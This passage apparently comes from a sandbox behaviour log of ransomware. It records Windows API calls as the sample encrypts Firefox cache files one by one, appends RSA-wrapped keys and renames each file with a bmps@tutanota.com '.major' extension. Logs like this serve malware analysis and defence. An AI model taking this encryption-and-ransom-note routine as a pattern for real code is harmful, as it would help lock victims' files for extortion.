pszString="LU19c21KXhGZC7D56Qm5WwPl6vyBaUdug2TpDvskNr2TQxvSxlpMhiuk0urU5O9Y\nvFxwnyuTqKXh4lgwZ7T4pW9m7hYa4IY586Z7qQV6ODJwRvDHLLuZHlmW1SGQr5ov\n/jZQGJOwI6MYvRmn6uyJjdZ5LHFTMzgexEaU1R/zvpFHUdan3UcVVE/A8Qsn3fBb\nIbC8BnhGYgSNsFP9Q1S22idK28vGEPVprHtHwCJPIIprjZAX6ot33eCVuZNwU7si\nE6gwUgqrvl3SzyhKL0gDszpf7qZxMipirgFc1+mkS3z2SZyQ6T0rnyh25QB3WQz1\nGstqPfNPiyrHHM8A8TDmrA==\n", pcchString=0x2e3f9a8) returned 1 [0283.878] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0283.878] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0283.878] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0283.878] CloseHandle (hObject=0x1b84) returned 1 [0283.878] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a8108 | out: hHeap=0x570000) returned 1 [0283.878] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\2E08CDAEE955A40889AC5877BE194C7EF12394A5" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\2e08cdaee955a40889ac5877be194c7ef12394a5"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\2E08CDAEE955A40889AC5877BE194C7EF12394A5.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\2e08cdaee955a40889ac5877be194c7ef12394a5.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0283.881] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a5ef8 | out: hHeap=0x570000) returned 1 [0283.881] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee6708 | out: hHeap=0x570000) returned 1 [0283.882] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x3437fa8 | out: hHeap=0x570000) returned 1 [0283.882] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x3437d98 | out: hHeap=0x570000) returned 1 [0283.882] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x3438d10 [0283.882] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee65a0 [0283.882] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0283.882] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\2D7DB1F2A5BBDE7DB3035CEA82134D2CF20D58AE", dwFileAttributes=0x80) returned 1 [0283.882] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x34383c8 [0283.882] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x17e) returned 0x5a5ef8 [0283.882] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x34383c8 | out: hHeap=0x570000) returned 1 [0283.882] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\2D7DB1F2A5BBDE7DB3035CEA82134D2CF20D58AE" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\2d7db1f2a5bbde7db3035cea82134d2cf20d58ae"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b84 [0283.883] GetFileSizeEx (in: hFile=0x1b84, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=3582) returned 1 [0283.883] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xdfe) returned 0x3446048 [0283.883] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xdfe) returned 0x3439010 [0283.883] ReadFile (in: hFile=0x1b84, lpBuffer=0x3446048, nNumberOfBytesToRead=0xdfe, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3446048*, lpNumberOfBytesRead=0x2e3f9b4*=0xdfe, lpOverlapped=0x0) returned 1 [0283.895] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-3582, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0283.895] WriteFile (in: hFile=0x1b84, lpBuffer=0x3439010*, nNumberOfBytesToWrite=0xdfe, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3439010*, lpNumberOfBytesWritten=0x2e3f9b4*=0xdfe, lpOverlapped=0x0) returned 1 [0283.895] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x3446048 | out: hHeap=0x570000) returned 1 [0283.895] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x3439010 | out: hHeap=0x570000) returned 1 [0283.895] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xdfe [0283.895] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0283.895] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0283.895] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0283.895] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0283.896] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0283.896] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5a8108 [0283.896] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="lmoHldsEgMGD/FDJ7bPvwu6/dDWgbm/zzCoV4Re6KpoO/aDgZEiNJxIDR6y2aBO6\nZF2B5cBGNdJ+sAz+ZIId26jTmMHoaEED7UGC6E/ln31QZLBddx57pWoVdYJESxbE\n8Q7KnjB3UeeQpVwy+Mgx/z4TzVCa2c3HMxlc8V4P9aVuPSEAkd6G5+1gSXHJkxTF\na8n0LjhFKGwO5yPuN8n4fShpkuFVd7R+fVxk1B1VSReyZLyj0ybl8iy6YpGhLfiz\n1GtOlKrKU0Z9L8y3f5iglxem7GHTMnrXDMSxKs6lW3rQ81FFj7pErGiHLA8X3Nfa\nAlZ49iDM4XXECWOgSx4kPA==\n", pcchString=0x2e3f9a8) returned 1 [0283.896] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0283.896] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0283.896] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0283.896] CloseHandle (hObject=0x1b84) returned 1 [0283.896] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a8108 | out: hHeap=0x570000) returned 1 [0283.896] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\2D7DB1F2A5BBDE7DB3035CEA82134D2CF20D58AE" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\2d7db1f2a5bbde7db3035cea82134d2cf20d58ae"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\2D7DB1F2A5BBDE7DB3035CEA82134D2CF20D58AE.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\2d7db1f2a5bbde7db3035cea82134d2cf20d58ae.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0283.898] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a5ef8 | out: hHeap=0x570000) returned 1 [0283.899] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee65a0 | out: hHeap=0x570000) returned 1 [0283.899] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x3438d10 | out: hHeap=0x570000) returned 1 [0283.899] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x34385d8 | out: hHeap=0x570000) returned 1 [0283.899] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x3437870 [0283.899] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee6910 [0283.899] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0283.899] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\2CA5871C48087826D8608DA52BA892CBBA1FC30E", dwFileAttributes=0x80) returned 1 [0283.899] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x3438d10 [0283.899] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x17e) returned 0x5a5ef8 [0283.899] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x3438d10 | out: hHeap=0x570000) returned 1 [0283.899] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\2CA5871C48087826D8608DA52BA892CBBA1FC30E" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\2ca5871c48087826d8608da52ba892cbba1fc30e"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b84 [0283.900] GetFileSizeEx (in: hFile=0x1b84, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=4407) returned 1 [0283.900] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x1137) returned 0x3439010 [0283.900] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x1137) returned 0x2f39028 [0283.900] ReadFile (in: hFile=0x1b84, lpBuffer=0x3439010, nNumberOfBytesToRead=0x1137, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3439010*, lpNumberOfBytesRead=0x2e3f9b4*=0x1137, lpOverlapped=0x0) returned 1 [0283.957] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-4407, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0283.957] WriteFile (in: hFile=0x1b84, lpBuffer=0x2f39028*, nNumberOfBytesToWrite=0x1137, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f39028*, lpNumberOfBytesWritten=0x2e3f9b4*=0x1137, lpOverlapped=0x0) returned 1 [0283.957] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x3439010 | out: hHeap=0x570000) returned 1 [0283.957] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f39028 | out: hHeap=0x570000) returned 1 [0283.957] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x1137 [0283.957] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0283.957] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0283.972] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0283.972] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0283.972] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0283.972] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5a8108 [0283.972] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="AFnWUpdA7xF3JXJE7bc37KD8GkjmkYHI7Mnv8lkZrA8zsRxypeLs626Hyxjf5q8/\nGfd1hRYUNIG2ZwouosBxMmmMACJrzXJFZQiFJEhpefxS1I6lzQGZCRUi+qhbkfrb\nu+F7YQ9Kcn0FordPiKua2CozH/cG857FKNr5MzCC5vY/3MzQgka3wHoWhHgKPpF8\nGZTj4lv4SgMCf9ypUnhk6ghw1o0/rcvHzCT3J2kbLWQ5F0JzlEF9pAGg7yGa9W6u\nYEcGTYjkHDp+13/1sxneK/uujk2crwF0+kC+AWNmLVCs9Td+n6aw5RvYfBcfMRHq\nnNNaEzZrGtInF4Rn3kX7XA==\n", pcchString=0x2e3f9a8) returned 1 [0283.972] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0283.973] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0283.973] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0283.973] CloseHandle (hObject=0x1b84) returned 1 [0283.973] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a8108 | out: hHeap=0x570000) returned 1 [0283.973] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\2CA5871C48087826D8608DA52BA892CBBA1FC30E" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\2ca5871c48087826d8608da52ba892cbba1fc30e"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\2CA5871C48087826D8608DA52BA892CBBA1FC30E.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\2ca5871c48087826d8608da52ba892cbba1fc30e.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0284.095] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a5ef8 | out: hHeap=0x570000) returned 1 [0284.095] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee6910 | out: hHeap=0x570000) returned 1 [0284.095] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x3437870 | out: hHeap=0x570000) returned 1 [0284.095] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x3438c08 | out: hHeap=0x570000) returned 1 [0284.095] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x3438c08 [0284.095] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee6910 [0284.095] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0284.096] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\2C6468600265AB1F5F8363AFD96F4AE7E91EE790", dwFileAttributes=0x80) returned 1 [0284.096] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x3437348 [0284.096] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x17e) returned 0x5a5ef8 [0284.096] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x3437348 | out: hHeap=0x570000) returned 1 [0284.096] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\2C6468600265AB1F5F8363AFD96F4AE7E91EE790" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\2c6468600265ab1f5f8363afd96f4ae7e91ee790"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b84 [0284.097] GetFileSizeEx (in: hFile=0x1b84, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=11774) returned 1 [0284.097] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2dfe) returned 0x2f39028 [0284.097] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2dfe) returned 0x343b820 [0284.097] ReadFile (in: hFile=0x1b84, lpBuffer=0x2f39028, nNumberOfBytesToRead=0x2dfe, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f39028*, lpNumberOfBytesRead=0x2e3f9b4*=0x2dfe, lpOverlapped=0x0) returned 1 [0284.220] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-11774, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0284.220] WriteFile (in: hFile=0x1b84, lpBuffer=0x343b820*, nNumberOfBytesToWrite=0x2dfe, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x343b820*, lpNumberOfBytesWritten=0x2e3f9b4*=0x2dfe, lpOverlapped=0x0) returned 1 [0284.220] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f39028 | out: hHeap=0x570000) returned 1 [0284.220] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x343b820 | out: hHeap=0x570000) returned 1 [0284.220] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x2dfe [0284.220] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0284.220] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0284.220] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0284.220] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0284.221] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0284.221] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5a8108 [0284.221] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="2VsGupsoQmJ82TGIRhX/LlhAFiRBv4mYZtTWkMIun1TuU0DIMO9sIQwnmstJMfyh\nT4H97rMgJJAc29r49sQInPVrcRuaQ5NjKsEJs0gUcCG+AD98SpN71f6yHZYDCIBe\nO7PgKPTuW/cuYRQX+VDuOiOgd2iMouWg0gyX2AeZO/lDbZ6f9ARYUyDdiun9I5zm\nDRZTEHZ/pL1Q01KthyKchgyJ9MAmXayMXcDkHRcI/TlNKo4B1JdKRPQvIPokrnmr\n+7VoAX//znfc7HQAsM7H3wsUZoRkUgyoiN4JAf4Z6qif0bEUR6XEHl1KE/VQSCb2\n0W+nS409r1COxobksx8NYg==\n", pcchString=0x2e3f9a8) returned 1 [0284.221] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0284.221] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0284.221] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0284.221] CloseHandle (hObject=0x1b84) returned 1 [0284.221] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a8108 | out: hHeap=0x570000) returned 1 [0284.221] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\2C6468600265AB1F5F8363AFD96F4AE7E91EE790" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\2c6468600265ab1f5f8363afd96f4ae7e91ee790"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\2C6468600265AB1F5F8363AFD96F4AE7E91EE790.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\2c6468600265ab1f5f8363afd96f4ae7e91ee790.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0284.223] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a5ef8 | out: hHeap=0x570000) returned 1 [0284.223] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee6910 | out: hHeap=0x570000) returned 1 [0284.223] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x3438c08 | out: hHeap=0x570000) returned 1 [0284.223] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x34382c0 | out: hHeap=0x570000) returned 1 [0284.223] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x3438d10 [0284.223] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee6690 [0284.223] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0284.223] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\2C416B78A7C89B5CDB81D93B1A303A39C7E34723", dwFileAttributes=0x80) returned 1 [0284.224] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x3437b88 [0284.224] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x17e) returned 0x5a5ef8 [0284.224] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x3437b88 | out: hHeap=0x570000) returned 1 [0284.224] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\2C416B78A7C89B5CDB81D93B1A303A39C7E34723" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\2c416b78a7c89b5cdb81d93b1a303a39c7e34723"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b84 [0284.225] GetFileSizeEx (in: hFile=0x1b84, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=4409) returned 1 [0284.225] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x1139) returned 0x3439010 [0284.225] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x1139) returned 0x2f39028 [0284.225] ReadFile (in: hFile=0x1b84, lpBuffer=0x3439010, nNumberOfBytesToRead=0x1139, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3439010*, lpNumberOfBytesRead=0x2e3f9b4*=0x1139, lpOverlapped=0x0) returned 1 [0284.264] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-4409, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0284.264] WriteFile (in: hFile=0x1b84, lpBuffer=0x2f39028*, nNumberOfBytesToWrite=0x1139, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f39028*, lpNumberOfBytesWritten=0x2e3f9b4*=0x1139, lpOverlapped=0x0) returned 1 [0284.265] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x3439010 | out: hHeap=0x570000) returned 1 [0284.265] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f39028 | out: hHeap=0x570000) returned 1 [0284.265] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x1139 [0284.265] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0284.265] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0284.265] 